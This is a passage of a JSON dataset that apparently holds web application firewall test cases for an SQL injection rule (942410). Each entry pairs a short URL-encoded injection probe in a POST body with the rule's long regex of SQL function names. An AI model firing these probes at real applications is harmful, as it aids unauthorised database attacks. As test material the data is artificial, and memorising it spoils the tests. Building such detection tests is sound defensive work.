|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=if%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=if%5C%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=IFNULL%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=in+%27%24%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=IN+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=IN%2F%2A%2A%2F%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=insert%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=left%27%29%3F%24%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", 